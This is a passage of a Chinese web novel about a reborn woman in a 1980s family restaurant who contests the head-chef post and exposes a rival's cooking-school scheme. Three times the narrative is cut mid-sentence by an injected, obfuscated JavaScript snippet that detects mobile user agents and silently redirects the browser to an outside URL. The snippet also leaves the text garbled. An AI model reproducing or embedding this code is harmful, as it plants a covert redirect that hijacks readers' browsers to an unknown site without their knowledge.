终于胡大力开口了，“小师妹，你这个红烧肉，我们看着做的，也没有加别的东西，怎么有一股香味啊？” “是吗？这香味，大师兄肯定知道啊！” 沈木犀不直接回答问题，抛给了刚刚咽下肉的陈炎。 陈炎脸上不动神色，“三师弟，想必这个香气，你和我都清楚吧？” 叶十三觉得味道好极了，又夹了几筷子吃。 突然话点自己，差点没呛着，囫囵道。 “大师兄，这醪糟是比糖强啊。温润柔和，还带着酒香。就是这个醪糟，这么强的吗？” 叶十三话没说完，陈炎也只想到了这里。 还有一味是什么呢？ “是片糖吗？” 叶十三被这道红烧肉折服了，不再说话，陈炎也答不上来。 “有点接近了。” 沈木犀被自己做的红烧肉吸引，忍不住夹了一块放入嘴中。 软糯鲜香。 自己选用的黑猪肉虽然气味更大，但是好在油香醇厚。 片糖虽然与冰\糖、砂糖同为蔗糖，但是片糖中有米酒成分，也算是给红烧肉的甜增加了一剂底味。 但是并不够！ 沈木犀抬眼看着陈炎，只见众师兄弟也齐齐看向他，陈炎终于脸上显露出一些局促，不说话。 “是陶罐。” 声音从众人后方传来，大家随着声音的方向目光落到了顾师弟身上。 “陶罐？小师弟在说笑吧？我们吃陶罐了吗？” 陈炎此话一出，引得众人大笑。 顾小师弟并未理会，将刚才盛着醪糟的陶罐拿出，将醪糟倒入一个干净的容器中。随着小师弟手上翻转，土陶底部印着几个大字“赤水窖龄”。 沈木犀仔仔细细地看着眼前这个相貌俊朗的小师弟。 这是哪里来的小师弟啊？有点东西。 4. 谁赢谁是主厨 陈炎满脸的不屑，睨着顾小师弟。 直到盯得那小师弟浑身不自在，又碍于众师兄弟都在场，陈炎见小师弟又捂上嘴示意不再说话，才没继续发难。 “嗐，我说是什么呢？”叶十七嘴里边吃着边道。 “赤水窖龄是赤水镇的百年老酒了。赤水除了酒好，赤水场镇上还有一样——赤水醪糟。这都得归功于赤水窖龄用的这个土陶罐。早年场镇上做醪糟的大娘都爱用桶装，后来发现装过赤水窖龄的陶罐装醪糟极好。也就是因为这样，慢慢地便发现这赤水窖龄残存的酒曲会更加丰富醪糟的风味。有着酱香底蕴的赤水醪糟成了齐名赤水窖龄的另一绝。” “三师兄果然厉害，要不我爹怎么把你排在沈家酒楼众师兄弟里第三呢？我有很长一段时间都觉得，难道是因为我爹在你家赊账了，欠了叶三叔钱吗？”沈木犀打趣道。 沈木犀太了解叶十七，这个人虽然看着吊儿郎当，但他其实并不是表面上的那么无能。 沈木犀和叶十七年龄一样，从小又在一起长大，家境也都差不多。 两个人的妈妈去世的早，两个人的爹相互间都有帮扶。轮班带着这个两个孩子，其中艰难不言说。 识百草、认百味都是二人一起学会的本事。 沈木犀和叶十三虽然嘴上总是不对付，但是心里都很清楚对方是什么样的人。这也许就是发小吧。 但陈炎并不这么想，上一世陈炎视叶十七是沈木犀青梅竹马的存在，总是怀疑他俩有问题，经常针对叶十七，刁难叶家。后厨香料的经营，经常被陈炎搅得一团乱，气得沈木犀直跺脚。 正是叶十七这样特殊的身份，陈炎明面上还无法完全敌对叶十七，但又没办法拉拢叶十七。 再后来也正是叶十七这种不显山不露水的性格，将叶家的香料生意越做越大…… 经营加盟餐饮门店，门店客单低，门庭若市，材料源头直供，全产业链发展。 后来叶十七餐饮加盟店开遍全世界所有角落，再后来他在非洲的日落餐厅里数着钱、在南太平洋的海滩上数着钱、在能看到粉色海豚的游船上数着钱，在他能想到的所有地方，数着他的钱…… 当然这都是上一世的事情了。 “沈木犀你怎么说话呢？这是什么很难的事儿吗？再说也不是我也一个人知道啊。对吧，小师弟？”叶十三扭脸看向小师弟。 小师弟憨笑：“我是赤水人，自然比师兄们略知道一些。” 说罢，小师弟将师兄们试吃的餐具一应收走，又没入人群了。 沈木犀看着眼前走远的小师弟，对他愈发好奇—— 小师弟是赤水人，姓顾…… 百年赤水窖龄酒世代的经营者，好像也姓顾…… 陈炎的话打断了沈木犀的思索。 “咳，小师妹啊！今天这个菜吧，做得真不错，我们都有共睹。但是今天是咱们俩……“ 话还没有等陈炎说完，沈木犀便开了口。 “大师兄咱们俩的事儿，是我爹随口一说，刚才他答应我，要是我做出来的菜能得众师兄的信服。这事儿我自己做决定就行。” 陈炎在人前比较稳妥，用现在的话来说情绪稳定，但是今天沈木犀一回来就像是另一副样子，和之前完全就是两个人，他觉得奇怪极了。让他更着急的是，本来十拿九稳一只脚就能踏进这沈家酒楼，感觉马上就会朝着另外一个方向发展了。他不能袖手旁观，听之任之。 “小师妹，你这样公然撕毁约定置师父的信誉何地啊？” 陈炎侧身往沈木犀身边小声道。 “小师妹，即便我们俩的事暂不说，我仍是沈家酒楼的主厨。如今运营得当，你这样突然改变咱们的计划。接下来酒楼的生意你是想让师父再上灶台吗？ 陈炎语气轻柔，但是里外里都是威胁之意，大概就是硬话软说。 要搁上一世，沈木犀是打死不愿意往灶前站，干这活儿的，她吃还来不及呢。 今天陈炎只是一个小小的大师兄就可以这般与她说话，甚至决定她和沈家的未来。 沈木犀听着就觉得浑身不舒服。 “大师兄没关系，主厨人选的问题，肯定决定酒楼的命运。今后我也加油努力赶上大家的步伐好好学做菜，尽快为大家分担实际的后厨工作。” 沈木犀话里话外绕着圈，众人没听明白什么意思，但是陈炎瞬间领会了要义。 这不仅仅是要去了他未来女婿的身份，还要免了他沈家酒楼的主厨啊。 他可是德州厨乡一顶一的厨子，为了攀龙附凤，看准了沈家无男丁，甚至毁了养育他成人干爹女儿的婚约，都要拜在沈国华门下。 陈炎顶着一个陈世美的骂名来到了沈家酒楼，夹着尾巴做人，逐步取得沈国华的信任。 这些也都是结婚后沈木犀才知道的，后来那个干爹的女儿还带来了一双儿女找到沈木犀，希望沈木犀能够接受他们，教他们一技之长。 现在想想沈木犀都觉得有些扯，觉得自己上一世是怎么接受这样的事实。 陈炎：“可是事实是这个主厨并不是这么好当的。你今天想用一道红烧肉重新凭资论辈是不是有点儿不合规矩？” 叶十七：“这有什么不合规矩的，这酒楼就是人家的，大师兄！” 叶十七都快要笑出声了。 沈木犀：“没关系，三师兄。大师兄只是想要个说法，给他一个就是了。” 陈炎脸上露出一丝得意，希望沈木犀能够知难而退。 “十日后，我和大师兄各出三道菜，谁赢谁是主厨。” 陈炎很满意这个答案，因为他太清楚这个比试结果了。 沈木犀说完转身离开了后厨，众师兄们看着桌面上剩下的红烧肉，以及沈木犀今日的状态，为她的勇气和担当所折服，爆发出阵阵掌声。 沈木犀很清楚，想要现下将陈炎扫地出门，不现实。 毕竟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14918743|160333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大堂内还有入座的客人，后厨现在还需要有人。她现在能暂且把婚约搁置已经是最好的办法了。 一切就都等十日后再说吧。 想到这里，沈木犀已经来到了大堂。 刚抬眼就发现了顾家老号的顾星河全副武装地坐在角落里和一个身穿厨师服的男人在说话。 原来相好的，这么早就在自己眼皮子底下了。 但是不对啊，那男人虽然穿着厨师服，但是转过身时，却是刚才那位小师弟！ 沈木犀侧身来到顾星河旁边的屏风下。 现如今的沈木犀，已然不再是上一世的抓奸心态，全然一副吃瓜心理。 顾师弟怎么和这个女人在一起？陈炎也是被三的？ 沈木犀简直快要乐出声。 还没等沈木犀听到二人说话，顾师弟便离开了。 沈木犀心想，没意思，顾星河多少有些见外了。 正当沈木犀要起身离开时，陈炎的声音传了过来。 “你怎么来这了？我不是说过不能来沈家酒楼吗？”陈炎稍显厉声。 “我又不是来找你的，你管我！还有，敢这么和我说话，你以为你是沈家酒楼的主厨就很了不起吗？”顾星河根本不给陈炎的脸。 陈炎一听到主厨，就像放憋的气球。 “是啊，我算个什么东西，这沈家酒楼的主厨，十日后指不定是谁呢？”陈炎脸上显得有些委屈。 这竟让顾星河有些意外了。 “怎么？沈木犀要当主厨？” “她要是敢把我沈家主厨的活路断了，我也不会让她好过。”陈炎负气将厨师帽摘下，捏在手中。 “这沈家酒楼又不是什么宝地，再说了我们顾家老号也不差啊！实在不行我也可以接收你。” 陈炎并未搭理她，还沉浸在自己的世界里。 真是精彩啊！ 暗处的沈木犀简直想要摆手叫好。 陈炎啊，自以为心机用尽，到头来还不是被别人绿？ 想想沈木犀都怕自己笑出声来。 沈木犀还沉浸在自己的世界里，却突然闻到一股浓郁的饭菜香。 是猪血汤！ 新鲜的猪血，入温水煮开，什么都不用加，只用简单的盐和胡椒调味，最后再洒上一把韭菜叶，汤清血醇。 这是沈家酒楼菜单里的隐藏菜，是喜欢追寻沈家老味的食客才知道的味道。 也是小时候关于沈家酒楼的味道！ 回来真好啊，这感觉真是太令人眷恋了，恍惚间沈木犀眼眶湿润。 似是听见曾经爷爷和父亲唤她…… “犀犀，饿了吧，先吃口饭。” 回来的这一天，光顾着眼前的这些事了，沈木犀顿觉饿得不行了，隐约还觉得有些胃疼。 就在此时，沈木犀的眼前端上了这一碗汤。 “饿了吧，先吃口饭。” 顾小师弟笑得明媚，轻声道。 5. 顾辰 猪血汤为什么这么好吃啊？ 沈木犀是真的饿了，她接过小师弟手里的汤。 只是稍稍有些烫，沈木犀指尖接触到汤碗边的时候，小师弟的手还未来得及拿开，指尖接触之际，两人都有些不自在。 “小心烫，我端到桌上，你慢慢吃。” “我叫顾辰，之后有什么需要我的地方，您随时吩咐。” 顾辰一口灿白的牙齿笑得十分明媚。 沈木犀心道原来叫顾辰，上一世就想问来着…… 还未等沈木犀反应过来，顾小师弟将汤放在了桌上，示意沈木犀入座就餐，转身离开又向后厨去了。 沈木犀看着大理石装璜的廊道，黑色反光的镜面瓷砖上，那个白衣少年脚步潇洒地走着…… 酒楼大堂内服务员们陆续朝着沈木犀走来，她们各自身穿摩登的工作服，脚下一双黑色皮鞋在干净的彩色大理石地面上发出声音。 迎门往来，皆是沈家酒楼一派欣欣向荣的模样。 前台的柱子上，电视木箱里彩色显像管电视轮番播放着录像带，正在播放周润发和张国荣主演的香港影片《英雄本色》。 熟悉的粤语声传来，让沈木犀想起上一世，多年以后的曾南下去过的广东，那里有着令人敬佩的美食，也有眼前这道盛名的猪血汤，只是与沈家酒楼不太一样。 当时沈木犀就觉得美食其实没有什么高下之分，只有你对他眷恋的深浅。 沈木犀认真地吃着这碗猪血汤，被烫着大波浪的领班应红打断。 “哎？咋样木犀，听说你给大师兄弄得下不来台？” 应红是沈木犀妈妈的远房小表妹，其实算沈木犀的小长辈，但和沈木犀年纪相仿，两人按姊妹处。沈国华看在娘家人的份上，就收留了这个农村来投奔他们的姑娘。 应红虽然是农村人，但是为人十分活套。利用着和老板家是亲戚的关系，软硬得当，将领班的事情打点的十分周全。 “咋了，今天红烧肉没上特色菜的招牌板？” 应红竖起大拇指：“要不怎么说我这个姐姐厉害呢？” 应红扭脸又看向大堂内的食客，覆在沈木犀耳朵旁小声说话。 “大师兄，今天红烧肉给人把糖炒糊了，你说邪门不邪门，吃吐了好几个。老爷子在里头骂人呢？” “估计是气的吧。” “要不怎么说呢，红烧肉啊，那可是咱们沈家酒楼的招牌菜！这都能炒毁了。” “后厨的事儿，你倒是消息快啊。我一碗汤还没喝完呢。” “那必须啊，要不怎么干咱家这差事！我还知道你这碗汤是小师弟送来的呢。”应红得意地推着自己新烫的头发。 沈木犀点点头只觉得应红真是眼观四路、耳听八方，佩服这样的女人。 “哎对了，你知道顾星河最近总来吗？” 应红瞪大双眼，死命捂住自己的嘴巴，似要噤声。 沈木犀一看这人精，赶忙将自己头上带的进口发卡取下来给应红。 “快说！好处有的是。“ 应红看这个这枚好看的国外发卡，早都想要了，再配上自己的大波浪，不得好看死啊。 应红赶紧收下“这可是你让我说的！” 沈木犀眨了眨眼。 应红嘟囔着：“反正你也不想和大师兄结婚了，那我就说了啊。”又抬头认真地瞧着沈木犀继续道。 “顾星河最近是来找大师兄的，俩人还私下里说些什么。开始我一直以为顾星河想干嘛呢？有一回，我送菜时留意听了听。只听到了啥学校、啥做大做强的事。” 沈木犀看着应红，继续喝着汤。 “我开始看着她俩凑一块笑呵呵的，我觉得我得看看，但后来感觉也不像是搞外遇。感觉两个人就是要做啥事儿，我琢磨着既然不耽误你们结婚，也就没有想着给你说。” 沈木犀将应红手里的发卡拿过。 “哎哎哎，这个，你不是给我了么！”应红惊地就想要去抢。 “你不是聪明得很吗？都捂嘴一起笑呵呵的了。还不是有问题，这发卡我收回了。” “那顾星河也不是跟一个男的笑啊，她还冲小师弟笑呢？” 说完应红又捂住嘴，沈木犀看着眼前这个在人前威风，在人后又天真的应红忍不住笑起来。 “呀，对啊，她怎么总是爱对男人笑啊！” 沈木犀又将发卡给应红带上。 “总归还是感谢你给我说这些，好好工作吧。” 应红见失而复得的发卡，还没来得发现沈木犀离开。 应红喊着：“你干啥去啊！这会儿……这会儿忙着呢？” 沈木犀摆摆手没有说话。 “我等了三年，就是要等一个机会，我要争一口气，不是想证明我有多了不起，我是要告诉人家，我失去的东西一定要拿回来！” 电视里小马哥一脸憔悴又笃定地说着…… 电视机前的食客们揪心地看着…… 沈木犀的背影肆意生风，坚定地离开了沈家酒楼，身后传来电影中的歌曲《当年情》…… “轻轻说声漫长路快要走过 终于走到明媚晴天 声声欢呼跃起像红日发放金箭 我伴你往日笑面重现 轻轻叫声共抬望眼看高空 终于青天优美为你献……” 这日重回八十年代的街面上，通透的阳光把大街铺满。 其实沈木犀对于十日后的主厨没有什么把握，但是通过应红的言词，她终于想明白了一个事情，为什么顾星河和自己水平差不多，但是总是能在后来的餐饮竞争中在厨师的用人储备上力挽狂澜。好像总有一种暗中的力量帮扶着她。 曾经沈木犀不太在乎输赢，对于顾星河的挑衅，也总是回避。 但是这一次她再次重生，清风徐之，青天优美再现。 她需要知道一切，一切有可能动摇沈家根基的秘密。 这个秘密或许和应红提到的学校有关，沈木犀奋力地骑着自行车，她现在就需要知道这个答案。 虽然十日后的主厨之位，自己真的没谱，她有个直觉这个答案没准对自己的主厨之位也有用。 ＊＊＊＊＊＊ 沈木犀将自行车停在了顾家老号的门口，顿时一股浓郁的酒糟从内传来，暖洋洋地沾染着湿热的酒气。 顾家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14918744|160333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 老号最富盛名的醉蟹就是用的自己现场酿造的白酒。 这种极有说服力的营销方式，在今天来看都是相当有宣传卖点的，沈木犀暗道顾家的百年老号真是名不虚传。 沈木犀其实很少来顾家老号，她不太想和顾星河攀扯关系。 因为她总是听人说顾星河在外告诉别人她们是闺蜜。 时常还把沈木犀小学在花坛捡花被抓当成摘花贼被班主任训了一上午事情到处说。 在很长的一段时间，沈木犀甚至也考虑过是不是自己太小气。 直到多年以后，沈木犀在网上看到一个词“at”立场。｀ 于是沈木犀才明白自己为什么从小就不喜欢顾星河，不是因为别的，就是因为她太没有人与人之间的at立场了，或许沈木犀总是想要远离她，就是对于自己的一种自我保护。 当然顾星河冲破沈木犀的“at”立场的事也不是这一件。 上一世和陈炎都来到沈家后院了，已经是睡在别人两口子床中间的人了。 可是现下要怎么知道顾星河和陈炎究竟在此时干了什么不利沈家的事情呢？最好是能让陈炎直接走人，还能有得力的人顶个一时半会儿。 沈木犀将自行车靠在大门外的墙根，她收起自己的思绪。 “犀犀，是犀犀吗？”顾星河惊着嗓子大声出来招呼着。 沈木犀本不想给什么好脸，但是她转脸就摆出了一个标准的微笑。 “星河啊，你这会儿忙吗？”沈木犀拉过顾星河。 “没事儿啊，犀犀，你看我这儿还没上人呢？”顾星河似是感觉到什么又道。 “要不咱们出去说，或者我上里面找个雅间，咱们好好聊聊，好久没见了呀！”顾星河反拽住沈木犀的手说，想要将她拉到一边，最后将沈木犀朝里打望的视线完全遮住。 几个厨师一样的人将厨师帽摘下走了出来，看到顾星河赶紧去了围裙。 胖大厨：“顾校长，你原来在这儿，我们刚把学校办班儿的位置规划了一下。你看看还有咱们这个师资配伍，今天面试的差不多了，现在就差你和副校长签字了。” 顾星河在胖大厨说着这通话时，本想拖拽他，让他别再说话。但碍于拉扯了几下，胖大厨岿然不动，便不再说话了。 沈木犀在面前，听得一清二楚，这和她猜想的几乎一模一样。 顾星河虽然很有钱，但是沈木犀太知道顾星河只有小学文化，如何做的了校长。 “星河，你什么时候成校长啦？” 沈木犀将问题抛给顾星河，继续道。 “还有副校长是谁啊？”沈木犀追问。 只见顾星河脸上一阵红绿，黑得竟不知是什么颜色了。 胖大厨：“副校长是沈家酒楼的主厨陈炎啊！” 顾星河的脸彻底黑了，沈木犀点点头有意长长的哦了一声。 沈木犀似是顾星河上身。 “可是星河，咱们俩一个小学毕业的，后来也没听说你再读过书了呀，怎么还当上校长了？” 这一次沈木犀终于感受到了at立场在现实场景中处理人物之间关系的妙用。 不熟照着最熟说，爽啊！ 6. 百花烧卖 沈木犀突然来顾家老号，话里话外都透来者不善的感觉。 顾星河努努嘴赶忙招呼着大家散了。 “嗐，什么校长，这就是培训下自家厨子，喊着玩儿的。” 胖厨子平时见顾星河都是一副趾高气昂的样子，现下说话却挤眉弄眼，觉得很是奇怪，也不敢再吱声。 沈木犀拿过胖厨子手里的文件。 上面赫然几个大字—— “好梦想”烹饪培训班招募！ 沈木犀瞬间什么都明白了。 原来顾星河在上一辈子里可以游刃有余的扩充门店，并且能够稳定餐厅菜品质量。原来人才的布局，这个时候就已经开始在做了。 顾星河早于沈木犀接手自家的酒楼进行经营，太知道主厨或者说人才在运营一个酒楼的重要。 但是厨师这个职业因为行业规矩，多以私传为主。 对于作坊经营的家族模式是非常坚强的堡垒，但对于连锁经营或大规模的酒楼来讲，就是一把双刃剑了。 上辈子，沈木犀就经历过，因增扩别市酒楼，将酒楼主厨的亲儿子调去升任外地酒楼当主厨，即便原料、前厅人员配伍、装修、运营模式一样，但是菜单出品仍是无法复刻沈家酒楼的味道。 沈木犀是吃过败仗的，她太知道人才就是餐饮行业的核心竞争力了。 而顾星河所操持的顾家老号，就没有遭遇扩张所产生的出品问题，曾经沈木犀一直以为是顾家的核心酒水业务托底的原因。如今看来，也不全然。 沈木犀觉得这一世烹饪学校的布局自己不能再落下了。至少这个阶段，自己是需要跟着一起入局的。 要知道上辈子，市场经济愈发活跃，科技同步催生，餐饮行业也再其中，无数行业都在裁员，降本增效的同时，只有能抓住人们味蕾的厨子还能活跃。 沈木犀坚信人类科技、人工智能可以代替人做很多事，哪怕是机器或是机器人炒菜，但是相同刻度的油盐酱醋无法炒出属于人的味道，是妈妈的味道、是外婆的菜、是爷爷的鸡汤面…… 自己本没有机会为沈家酒楼留下些什么，但这一世她想留下属于沈家酒楼的味道…… 只是如今先怎么稳住顾星河，让自己参与进来，是最重要的。 沈木犀赶紧翻看了下文件最后两页的内容。 一个地址快速出现在沈木犀的视野里。 芭蕉坝锅炉技校。 这个芭蕉坝锅炉厂路口就是沈家酒楼。 她们想把培训班办在废弃的技校里？她们找陈炎除了其厨师的本领，应该还有他所谓的沈家酒楼的身份。 看来陈炎不想丢掉主厨，还有这个关键因素在。 人最好是对别人有用，一旦失去了利用的价值，不然在扔掉的时候会比扔鼻涕纸还快。 沈木犀心下一策，揽过顾星河。 “星河，这个地址……我记得技校好像已经被租出去了呀。你们还能办校吗？” 顾星河是什么人，事无巨细，只是地址这个问题她嘱咐陈炎办的。现下沈木犀也不像在眶她。 顾星河赶忙反搂住沈木犀将她借了半步说话。 “犀犀，我知道的是锅炉厂技校已经好几年都没有招生了。” 顾星河很清楚，办学资质和办学条件都很重要。 培训班最好一次把这水趟明白，别把事情留在以后，不然都是问题。 “技校是好几年都没有招生了，但是今年我听到又开始扩招了。” 顾星河脸一沉，陈炎真够可以的，这点消息都打听不明白。 沈木犀见顾星河不搭腔继续道。 “星河我今天来就是想找你商量这个事儿。” 顾星河故作认真地瞪大眼睛看着沈木犀。 “你看哈，培训班肯定是要有地址的对吧，你们找的这个位置真不错，老城人多，交通也方便。如果锅炉厂的技校地址不行，我还知道一个地方。” “还有什么地方呢？” “我们沈家和锅炉厂的关系你是知道的呀，103车间不是搬走了吗？” “我知道呀，103车间李主任很不好打交道，我们都去过好几次了。” “呀，星河，你怎么不找我呢？我去给你说啊。那是我干爹！” 顾星河一下了然：“犀犀，你真是太棒了。” 顾星河太明白沈木犀，她虽然不太管沈家酒楼的里外事儿，但是突然不招婿、主厨重定，如今又来自己这里。沈木犀的一套连招肯定事出有因。 但是如今学员已经开始招募了，自己投入很大一笔钱了，她必须赶在下一个顾家老号的回款账期前，把办烹饪培训班的事办完。 不然自己很可能因为动用顾家的资金，又没出结果的情况下被问责。 “犀犀你这么帮我，我可怎么感谢你啊！” “你家拿手菜是不是得拿出来招待招待我。” 顾星河这才发现二人在门外说了很久了，赶忙将沈木犀往店里请。 胖厨子见顾星河要走，赶忙道：“顾校长，可是一会儿咱们不是要和陈炎副校长见面聊事情吗？” 顾星河翻脸比翻书还快。 “现在地址的事儿都没弄明白，他还副校长，以后再说吧。” 顾星河扭脸迎着沈木犀进了顾家老号。 顾家老号和沈家酒楼其实不是一种类型的酒楼，沈家属于后起之秀，顾家则是百年名店。 这一点上从门店内的装潢就能看出。 顾家老号的大堂里一整面墙的木雕。 相传是元代的，沈木犀早有耳闻，但百闻不如一见，透着十足的震撼。 “这？” “明的，外面传的有些离谱了。但是传就传吧，这样也挺好，生意好不是。” 沈木犀心道，这真是妥妥地炫耀啊。 “大堂里这些椽子确实都是些老东西，地板这些砖也是。只是都不怎么值钱，没用。就厕所可以，全铜的。” 沈木犀仔细看着顾家老号的装璜，本有一肚子生意经想请教，听到这里，直接不想说话了。 沈木犀浅笑：“要不咱吃饭吧，不然我都不想回沈家了。” 顾星河也笑笑：“吃饭吃饭。我让师傅做。” 沈木犀随着顾星河的带引下，从大堂走向雅间。 一个个包房上依次写着：大河、大江、星辰、星河…… 还没看完，沈木犀被带入就近的雅间中。 顾星河在自己的店里如鱼得水，一番得体的安排。 “犀犀我已经安排好了，菜一会儿就上啊。你也给点儿建议啊，培训班地址事儿怎么说啊？”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14918745|160333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “我要饿死了，快上菜吧，姐姐。” 顾星河闭眼手指指天：“哎哟，先吃先吃。” 很快一道顾家老号的名菜上桌——百花烧卖。 其实这道百花烧卖，应是百花折烧卖。 为什么上这道，沈木犀很清楚，这和顾家老号的传说有关，是一道所谓的皇帝御菜。与顾家老号大堂中的那幅巨型木浮雕齐名。 这百花烧卖，与南方的烧卖不同，包的不是糯米，是纯羊肉。 用揉好的面皮，经过压制，面皮褶皱，包裹羊肉，捏紧窜好，面皮褶皱的部分如百褶花瓣簇拥呈现出这道似点心似主食的菜。 从观赏上已经让人非常享受了，加之面皮擀得非常薄，蒸得又恰到好处，端到沈木犀眼前时，已经能闻到热气腾起麦香萦绕的羊肉香味。 一口下去，小麦的面粉香味，加上层次丰富的百褶口感，再咬到一口满满肉汁的羊肉。 啊，这个感觉，沈木犀只觉得上辈子总是回避顾星河，没有吃到这么好吃的美味感到可惜。 沈木犀感觉好吃的快要感叹出来。 这时候顾星河恰恰将自家酿造的酒放在了沈木犀的手中。 沈木犀几乎没有反应过来，就将酒送入了嘴中。 这酱香型的酒，配上这百花烧卖，滋味绵长，回味无穷。 顾家老号有点儿东西。 连吃了几个，顾星河又将一道黄米沙棘端上了桌。 沈木犀也没顾得上，连送了好几口烧卖。 好吃！ 见沈木犀只顾着吃，也不再接自己刚才的问话。 “犀犀啊，这事儿你要是帮我办成了，实在不行，咱们搭伙一起弄，你来做校长怎么样？” 沈木犀埋着头，眉毛稍动了一下。 “是啊，做事情，都得有个名头，这百花烧卖就是得在顾家老号吃，才算正宗。我有了这个名头，我干爹那里，确实好说……” 还没等沈木犀说完，只听门外十分混乱似听到陈炎的声音。 “顾星河，你别被沈木犀骗了，到时候鸡飞蛋打，什么都不好办了。” 确实是陈炎。 顾星河拉开门看情况。 原来刚才那胖厨子是陈炎的内应，知道副校长的名头不保，赶忙通知了他过来。 沈木犀继续吃着，数着一笼百花烧卖有几个，一共好像12个，还挺多的，感觉有大半斤羊肉呢。 沈木犀连眼都没抬，继续吃着，又自己给自己甄了杯酒。 顾星河冲着陈炎：“地址的事儿你能打包票吗？” 陈炎刚才还十分硬气，此话一出又蔫儿了，不敢正面回答问题。 “但是我是副校长，要想让沈木犀插手，必须经过我的统一。” 顾星河见陈炎不回答问题，不想搭理他，扭脸又想进包房。 陈炎一时着急，手竟然拎住了顾星河的领子。 还未等顾星河反应过来，陈炎不知被谁抓住，被一把仍了出去。 陈炎喝道：”谁！” 陈炎看向来人更加生气：“又是你！” 只见顾小师弟将顾星河扶稳，顾小师弟又将余光扫进了屋内坐着的沈木犀。 沈木犀对上了顾小师弟的眼神，换了一杯茶，喝了一口。 真是好戏啊！ 7. 顾家老号 陈炎其实是一个非常珍惜自己今天所得到的一切的人，用今天的话说就是身上的羽毛。 他尤其看重自己的脸面，要是放在上辈子有这样的两个女人为自己争风吃醋起来，陈炎内心肯定非常得意。 但是现下他一方面要拦着顾星河让沈木犀当培训班的负责人，一方面又要回旋沈木犀和自己婚事的余地，还要让沈木犀看不出来他和顾星河更为密切的关系。 陈炎都不知道为什么前几日自己刚像是做上一台人生加速器，光速起飞，仿佛只待一个合理的理由就可以鲤鱼跃龙门了。 怎么突然今天，一切仿佛快要将他重新拉回原位。 他多少是有些慌了，二话不说揪起顾小师弟的领子抡起拳头。 这是什么情况太突然了直接让顾星河都一脸懵，随后连连惊叫。 顾辰也并非吃素的，虽然年纪不大，但是接近190公分的大高个，宽阔的手掌快速且有力地控制住了陈炎的拳头。顾辰眼色一厉，毫不避讳甚至透着寒意地盯着陈炎。 顾星河惊叫：“哎哎哎，可不敢啊！“ 小师弟力气奇大，陈炎几乎动弹不得，手腕子还有些吃痛。 陈炎叫嚣着：“你敢这么对我！我是你大师兄！你这是忤逆犯上，回去我就让师父把你逐出师门。” 小师弟猛地上前一步，离陈炎更近，陈炎几乎能感觉到小师弟身体的阴影将自己整个罩住，陈炎只得弱弱地吐出一口气，便不敢再动半分。 看着其实明明是陈炎要挨打了，顾星河还就帮着小师弟拉偏架，几番拉扯，才将小师弟和陈炎扯开，又将小师弟的衣服好好整了整，还拍了拍领子。 还拍了拍？ 这不整不奇怪，陈炎瞧着顾星河怎么也上赶着对这小师弟这么好，气不打一处来，冲顾星河。 “你干嘛呀？你跟谁一班儿的？” 陈炎话刚出，里屋的沈木犀眼眉一挑。 心道，哦～看来他俩是‘一班儿’的。 “这是顾家老号，你想干嘛呀。” 顾星河赶忙给陈炎使眼色，示意沈木犀就在里面。 这会儿正是上客的时候，听着这边有动静，客人们慢慢也开始围聚过来。 见人越围越多，陈炎失了的理智总算清醒了一些，收敛起刚才的失态，调整了一副相对平静的状态走进了雅间。小师弟也跟了进来。 陈炎不想自己精心布局的生活，就这么鸡飞蛋打，谄媚的将沈木犀手边的酒换成了一杯茶。 沈木犀不作声，看着陈炎毕恭毕敬地将茶碗端给自己。 沈木犀觉得陈炎多少还是懂行的，这顾家老号的百花烧卖与茶才是绝配。 茶是砖茶，配上油气肆意和面香的烧卖，茶香会很有效的被烘托出来。 茶汤纯黄，唇齿馥郁，滋味无穷。 沈木犀接过茶想喝，却被小师弟拿了过去。 小师弟温声：“茶凉了，我重新给你接一杯。” 沈木犀也有些愣住。 “凉茶喝了不消化，容易胃疼。” 沈木犀只觉得这种感觉很怪，这么个毛头小子，跟自己说话的语气不对劲。 小师弟转身去冲热茶，陈炎凑近沈木犀。 “犀犀，我听说场地的事情你可以解决？” “怎么了？” “没什么，之前我去找过你干爹，我说我是沈家酒楼的主厨，他也不见我。” “对啊，你是沈家酒楼的主厨，这会儿正在上客，你怎么出现在顾家老号的雅间里？” 陈炎一时语塞。 “哦，你有要事要忙。当校长？” “没有！” 陈炎斩钉截铁，但又碍于顾星河在场。 陈炎嘟囔。 “也不是全没有，我只是在为沈家酒楼的今后考虑啊。“ “陈主厨，你来顾家老号考虑沈家酒楼的未来。我爹，你师父知道吗？” 陈炎当下不知如何回答，臊眉搭眼的低下头。 沈木犀扭脸看向顾星河。 “星河，顾家老号这个招牌菜啊，真是好吃。只是这沙棘黄米，我现在是有点吃不下了。不过没关系，我带走。” 